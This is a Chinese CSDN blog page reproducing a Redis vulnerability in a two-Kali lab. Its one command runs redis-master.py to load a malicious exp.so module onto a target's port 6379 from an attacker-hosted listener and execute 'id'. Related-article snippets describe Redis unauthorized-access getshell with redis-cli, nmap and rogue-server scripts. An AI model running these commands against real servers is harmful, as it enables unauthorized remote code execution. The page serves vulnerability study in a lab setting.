redis漏洞复现

已于 2023-09-01 16:30:03 修改
阅读量127 收藏
点赞数
分类专栏： 渗透 文章标签： 安全 网络
于 2023-08-24 14:37:34 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/NSQ0207/article/details/132470967
版权

目标机kali1：启动redis服务 

攻击机kali2：查看README.md，下载文件

 攻击机kali2：进行攻击，在RedisModulesSDK文件夹下创建文件exp.so文件

 获取id

python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "id"

Serein_NSQ
关注
专栏目录
Redis漏洞复现——Redis 4.x/5.x 未授权访问漏洞
Aquarius_ego的博客
03-30 4593
Redis 4.x/5.x 未授权访问漏洞复现
Redis漏洞复现【vulhub靶场】
weixin_57240513的博客
08-04 398
看所有键:KEYS *，使用select num可以查看键值数据。redis-cli -h 192.168.4.176-p 6379#redis常见命令。(7)config get dir/dbfilename 获取路径及数据配置信息。进入目录:cd /vulhub-master/redis/4-unacc。启动:docker-compose up -d。(2)删除所有数据库内容:flushall。检查:docker-compose ps。(9)get 变量，查看变量名称。(1)查看信息:info。
【redis漏洞复现】Redis getshell的几种方式
geejkse_seff的博客
08-27 871
简介：Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库，并提供多种语言的API。作为一个高性能的key-value数据库，Redis在部分场景下对关系数据库起到很好的补充作用。...
Vulfocus-Redis漏洞复现（特征识别+自动化测试项目）
qq_68064663的博客
11-15 657
Vulfocus-Redis漏洞复现（特征识别+自动化测试项目）
Redis未授权访问漏洞复现
weixin_55123346的博客
06-26 1253
Redis漏洞复现
Redis未授权漏洞复现
未完成的歌~的博客
05-10 1603
Redis是C语言开发的一个开源高性能（key-value）键值对类型的内存NoSQL数据库，可以用作数据库、缓存、信息中间件(性能非常优秀，支持持久化到硬盘且高可用)。由于其自身特点，可以广泛应用在数据集群，分布式队列，信息中间件等网络架构中，在内网渗透的突破中，常常扮演getshell的角色。
【redis漏洞复现】4-unacc未授权访问漏洞
serendipity1130的博客
09-01 974
4-unacc： 1.nmap探测一下靶机端口，redis服务正常开启了，在6379端口 nmap 192.168.225.139 -p 1-65535 2.kali直接用redis连接，发现可直接访问，还能通过info命令查看到服务器等一些敏感信息，证明存在未授权访问漏洞 redis-cli -h 192.168.225.139 3.使用网上的脚本，在redis-rogue-server.py / 目录下 输入命令，成功GETSHELL并执行了ls的命令： ./red
redis未授权漏洞复现
weixin_64972949的博客
05-08 853
Redis，英文全称是Remote Dictionary Server（远程字典服务），是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库，并提供多种语言的API。与MySQL数据库不同的是，Redis的数据是存在内存中的。它的读写速度非常快，每秒可以处理超过10万次读写操作。因此redis被广泛应用于缓存，另外，Redis也经常用来做分布式锁。除此之外，Redis支持事务、持久化、LUA 脚本、LRU 驱动事件、多种集群方案。
漏洞复现之Redis未授权访问
m0_56190544的博客
09-13 2581
本文详细介绍了redis未授权访问漏洞的原理以及利用方法，供大家参考学习
Redis未授权漏洞复现及利用（window,linux）
热门推荐
dreamthe的博客
03-22 2万+
1.了解redis Redis（Remote Dictionary Server )，即远程字典服务，是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库，并提供多种语言的API。从2010年3月15日起，Redis的开发工作由VMware主持。从2013年5月开始，Redis的开发由Pivota赞助。 2.redis漏洞原理 Redis默认情况下是绑定在0.0.0.0:6379端口的，如果没有设置密码（一般密码为空）或者密码为弱密码的情况下并且也没有
Redis未授权访问漏洞复现（三种方式）
weixin_55843787的博客
03-29 9616
redis未授权访问漏洞
Redis未授权访问漏洞搭建复现
m0_58595840的博客
01-05 2819
Redis未授权访问漏洞利用方式总结（含靶场搭建）
部标主动安全（ADAS+DMS）对接说明
谁念西风独自凉
09-27 694
上一篇介绍了，这里说一下如何对接主动安全附件服务器。流媒体的对接主要牵扯到4个方面：（1）平台端：业务端系统，包含前端呈现界面。（2）JT/T808网关：部标设备接入网关，这个是非常重要的，是设备与平台进行数据交换的桥梁，流媒体相关的指令操作也必须依赖它完成。（3）部标视频机：符合JT/T808协议的车载视频机器。（4）流媒体服务：符合苏标、粤标、川标、陕标协议的主动安全附件服务，接收文件流，并存储。
Splashtop 加入 Microsoft 智能安全协会
SplashtopLoki的博客
09-27 591
Splashtop 的 Foxpass Cloud RADIUS 可提供精确的访问控制，保护 Wi-Fi 网络免受未授权用户和网络攻击的侵害，Foxpass 因其流畅的用户体验和强大的安全性而广受认可。MISA 由独立软件供应商（ISV）和托管安全服务提供商（MISA）组成，他们将其解决方案与 Microsoft 安全技术集成，以更好地保护我们共同的客户免受日益增长的网络威胁。MISA 的使命是提供行业领先的智能安全解决方案，在安全威胁不断增加的情况下，以 AI 的速度和规模保护组织安全。
Spring Security 是一个强大的和高度可定制的身份验证和访问控制框架。它是 Spring 项目家族的一员，用于构建安全的 Java 应用程序。
weixin_64446270的博客
09-27 1368
Spring Security 是一个强大的和高度可定制的身份验证和访问控制框架。它是 Spring 项目家族的一员，用于构建安全的 Java 应用程序。Spring Security 提供了全面的安全服务，从基本的登录认证到复杂的访问控制，几乎涵盖了所有与安全相关的需求。
安全服务面试
最新发布
m0_74402888的博客
09-28 510
内网的计算机可向 Internet 上的其他计算机发送连接请求，但 Internet 上其他。个列表中的 IP 进行 SYN+ACK 的重试。明白这种攻击的基本原理，还是要从 TCP 连接建立的过程开始说起：大家都知道，TCP 与。的 IP 地址，如果攻击者以数万/秒的速度发送 SYN 报文，同时利用 SOCK_RAW。Internet 上的计算机，但 Internet 上的计算机无法访问局域网内的计算机。内网的计算机以 NAT（网络地址转换）协议，通过一个公共的网关访问 Internet。
网络编程（5）——模拟伪闭包实现连接的安全回收
m0_63086198的博客
09-26 1079
new_session通过bind绑定时，new_session的计数就会加一，所以在bind后，new_session的生命周期和新构造函数的生命周期相同，因为新生成的函数对象引用了new_session（new_session通过值传递的方式被复制构造函数使用）。，但是通过bind操作，将new_session作为数值传递给bind函数，而bind函数返回的函数对象内部引用了该new_session所以引用计数增加1，这样保证了new_session不会被释放。今天学习如何通过C11智能指针构造伪。
redis漏洞利用和复现
09-23
Redis漏洞利用和复现可以通过以下几种方式实现： 1. Redis未授权访问漏洞利用：当Redis服务器未配置访问密码或者访问密码被破解时，攻击者可以通过直接连接Redis服务器并执行恶意命令来获取敏感信息或者控制Redis服务器。 2. Redis远程代码执行漏洞利用：当Redis服务器开启了AOF（Append Only File）功能且AOF文件的写入权限配置不当时，攻击者可以通过向AOF文件写入恶意Redis命令并触发重启操作来实现远程代码执行。 3. Redis模块功能的利用：在Redis 4.x版本之后，引入了模块功能，攻击者可以通过编写恶意的Redis模块，通过加载该模块并执行恶意命令来实现攻击目标。 在具体的漏洞复现方面，可以参考相关的漏洞利用工具和漏洞复现文章。对于Linux系统的环境，可以找到很多相关的漏洞复现文章和工具，相对比较简单。而对于Windows系统的环境，可能相对较少，但也可以通过虚拟机搭建Linux靶机和Kali攻击机的环境来进行漏洞复现。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值